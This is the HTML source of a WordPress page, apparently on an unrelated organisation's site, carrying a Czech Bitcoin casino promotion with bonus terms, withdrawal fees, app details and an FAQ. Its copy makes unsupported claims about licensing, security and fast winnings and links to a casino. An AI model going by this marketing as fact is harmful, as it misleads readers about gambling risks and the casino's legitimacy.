#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='https://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/838" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=838' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="https://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-838 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838 current_page_item"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/" aria-current="page">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-838" class="post-838 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">BTC hrát: aplikace a mobilní průvodce</h1>
				
				
					<div class="entry-content">
					<figure data-affgun-media="hero" style="margin:0 0 1.5em 0;text-align:center"><img decoding="async" src="https://i.ytimg.com/vi/-UYXWf0fXvo/hqdefault.jpg" alt="" style="max-width:100%;height:auto;border-radius:8px" loading="lazy" referrerpolicy="no-referrer"></figure>
<h1>Jak bezpečně a výhodně BTC hrát v českém online kasinu</h1>
<h2 id="pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</h2>
<div data-affgun-media="video" style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;margin:1.5em 0;border-radius:8px"><iframe src="https://www.youtube-nocookie.com/embed/-UYXWf0fXvo" style="position:absolute;top:0;left:0;width:100%;height:100%;border:0;border-radius:8px" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="accelerometer;autoplay;clipboard-write;encrypted-media;gyroscope;picture-in-picture" allowfullscreen=""></iframe></div>
<p>Bitcoiny se staly populární volbou pro hráče, kteří hledají rychlé a diskrétní transakce. Díky decentralizované povaze kryptoměny se vyhnete tradičním bankovním poplatkům a můžete si užívat okamžité vklady i výběry. Navíc mnoho českých kasin nabízí speciální bonusy jen pro uživatele, kteří si zvolí BTC jako platební metodu. Pokud se vám chce <strong>BTC hrát</strong> a zároveň mít kontrolu nad svými financemi, tento přístup vám poskytne flexibilitu i bezpečí.</p>
<nav aria-label="Table of contents">
<ol>
<li><a href="#pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</a></li>
<li><a href="#registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</a>
<ol>
<li><a href="#registrace-krok-po-kroku">Registrace krok po kroku</a></li>
</ol>
</li>
<li><a href="#bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</a>
<ol>
<li><a href="#vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</a></li>
</ol>
</li>
<li><a href="#platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</a></li>
<li><a href="#mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</a>
<ol>
<li><a href="#mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</a></li>
</ol>
</li>
<li><a href="#bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</a></li>
<li><a href="#asto-kladen-otzky-faq">Často kladené otázky (FAQ)</a></li>
</ol>
</nav>
<p>Pro české hráče je také výhodou, že Bitcoin není vázán na konkrétní měnu, takže můžete snadno převádět mezi CZK a BTC podle aktuálního kurzu. To vám umožní lépe spravovat bankroll a využívat výhodných kurzů. V praxi to znamená méně papírování a rychlejší přístup k výhrám, což je hlavní důvod, proč se mnoho začátečníků rozhodne <em>BTC hrát</em> právě u nás.</p>
<h2 id="registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</h2>
<h3 id="registrace-krok-po-kroku">Registrace krok po kroku</h3>
<p>První krok je otevření účtu na <a href="https://btccasino.cz/">Bitcoin kasino</a>. Vyplníte základní údaje – e‑mail, heslo a volitelně telefon. Poté potvrďte e‑mail pomocí odkazu, který vám přijde do schránky. Registrace trvá jen pár minut a po jejím dokončení můžete přistoupit k prvnímu vkladu v Bitcoinech.</p>
<p>Ovšem pro zvýšenou bezpečnost bude kasino vyžadovat KYC (poznání zákazníka). Nahrajete kopii občanského průkazu a případně doklad o adrese. Tento proces může zabrat až 24 hodin, ale po schválení získáte plný přístup ke všem bonusům a limitům výběru. Vše probíhá v zabezpečeném rozhraní, takže vaše data jsou v bezpečí.</p>
<h2 id="bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</h2>
<h3 id="vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</h3>
<p>Většina licencovaných kasin v České republice nabízí vstupní bonus speciálně pro kryptoměny. Obvykle se jedná o 100 % match bonus až do výše 0,5 BTC plus několik free spinů na populárních automatech. Při uplatnění bonusu je nutné splnit wagering requirements, které se pohybují kolem 30‑35× celkové částky bonusu.</p>
<p>Upozorňujeme, že ne všechny hry přispívají stejně ke splnění podmínek – sloty mají nejvyšší příspěvek, zatímco live casino může mít nižší koeficient. Proto je dobré si před hraním přečíst podrobný bonusový popis a naplánovat si, jaké hry použijete ke splnění wagering requirements. Výše uvedený přístup vám pomůže maximalizovat zisk a minimalizovat ztrátu času.</p>
<h2 id="platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</h2>
<p>Vkládat a vybírat peníze pomocí Bitcoinu je v našem kasinu naprosto jednoduché. Po přihlášení zvolíte sekci „Deposit“ a získáte unikátní Bitcoin adresu, na kterou pošlete požadovanou částku. Vklady jsou zpracovány během několika minut, což je podstatná výhoda oproti tradičním bankovním převodům, které mohou trvat dny.</p>
<p>Výběry se liší v rychlosti podle zvolené blockchainové sítě. Níže uvádíme přehled typických časů a poplatků.</p>
<table border="1" cellpadding="5" cellspacing="0">
<thead>
<tr>
<th>Metoda výběru</th>
<th>Průměrná rychlost</th>
<th>Poplatek</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standardní Bitcoin (BTC)</td>
<td>10‑30 minut</td>
<td>0,0005 BTC</td>
</tr>
<tr>
<td>Lightning Network</td>
<td>Okamžitě</td>
<td>0,0001 BTC</td>
</tr>
<tr>
<td>Instant payout (vnitřní převod)</td>
<td>Do 5 minut</td>
<td>Žádný</td>
</tr>
</tbody>
</table>
<p>Kromě Bitcoinu můžete využít i další kryptoměny, ale pokud chcete <strong>BTC hrát</strong>, držte se výše uvedených metod, aby byl váš cash‑flow co nejplynulejší. Všechny transakce jsou monitorovány systémem anti‑fraud, takže máte jistotu, že vaše výhry dorazí bezpečně a bez zbytečného zdržení.</p>
<h2 id="mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</h2>
<h3 id="mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</h3>
<p>Naše platforma nabízí plně optimalizovanou mobilní verzi, která funguje jak v mobilním prohlížeči, tak v samostatné aplikaci pro Android i iOS. Aplikace podporuje všechny funkce, včetně vkladů v BTC, bonusových oznámení a okamžitého přístupu k live dealerům. Díky tomu můžete hrát i na cestách, aniž byste museli měnit zařízení.</p>
<p>Live casino nabízí reálné dealery, ruletu, blackjack a baccarat, kde můžete <em>BTC hrát</em> přímo proti živým profesionálům. Streamy jsou ve vysokém rozlišení a přichází s interaktivním chatem, takže máte pocit, že jste přímo na herním podlaze v Las Vegas. Pro začátečníky jsou k dispozici tutoriály, které vám pomohou pochopit pravidla a strategii během několika minut.</p>
<h2 id="bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</h2>
<p>Kasino je licencováno od renomovaného regulačního orgánu, což zaručuje transparentní provoz a dodržování přísných standardů. Šifrování SSL 256‑bit chrání veškeré osobní a finanční údaje, a všechny Bitcoin transakce jsou sledovány blockchainovým auditem, takže jsou plně prověřitelné.</p>
<p>V rámci zodpovědného hraní poskytujeme nástroje pro limity vkladů, časové omezení a možnost samovolného vyloučení. Pokud cítíte, že by hraní mohlo ohrozit váš rozpočet, můžete si nastavit denní limit nebo kontaktovat zákaznickou podporu, která je k dispozici 24/7 a pomůže vám s jakýmkoli požadavkem.</p>
<h2 id="asto-kladen-otzky-faq">Často kladené otázky (FAQ)</h2>
<ul>
<li><strong>Jak rychle se mé vklady v BTC projeví?</strong> Vklady jsou obvykle potvrzeny během 5‑15 minut, záleží na aktuální zátěži sítě.</li>
<li><strong>Jsou výhry v BTC okamžitě vyplatitelné?</strong> Ano, pokud použijete Lightning Network nebo interní instant payout, výplata může trvat méně než 5 minut.</li>
<li><strong>Potřebuji speciální účet pro kryptoměny?</strong> Ne, stačí vám běžný herní účet, kde můžete aktivovat Bitcoin jako platební metodu v nastavení.</li>
<li><strong>Jaké jsou wagering requirements pro bonus?</strong> Standardně 30‑35×, ale konkrétní podmínky najdete v bonusové sekci po přihlášení.</li>
</ul>
<p>Věříme, že tento praktický průvodce vám pomůže vstoupit do světa online hazardu s Bitcoiny s jistotou a pohodlím. Připravte se na rychlé výhry, bezpečné transakce a spoustu zábavy – a nezapomeňte hrát zodpovědně.</p>
					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"https://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"https://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"c2017a83a8","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"b82a2f40be","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"838","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="https://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="https://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
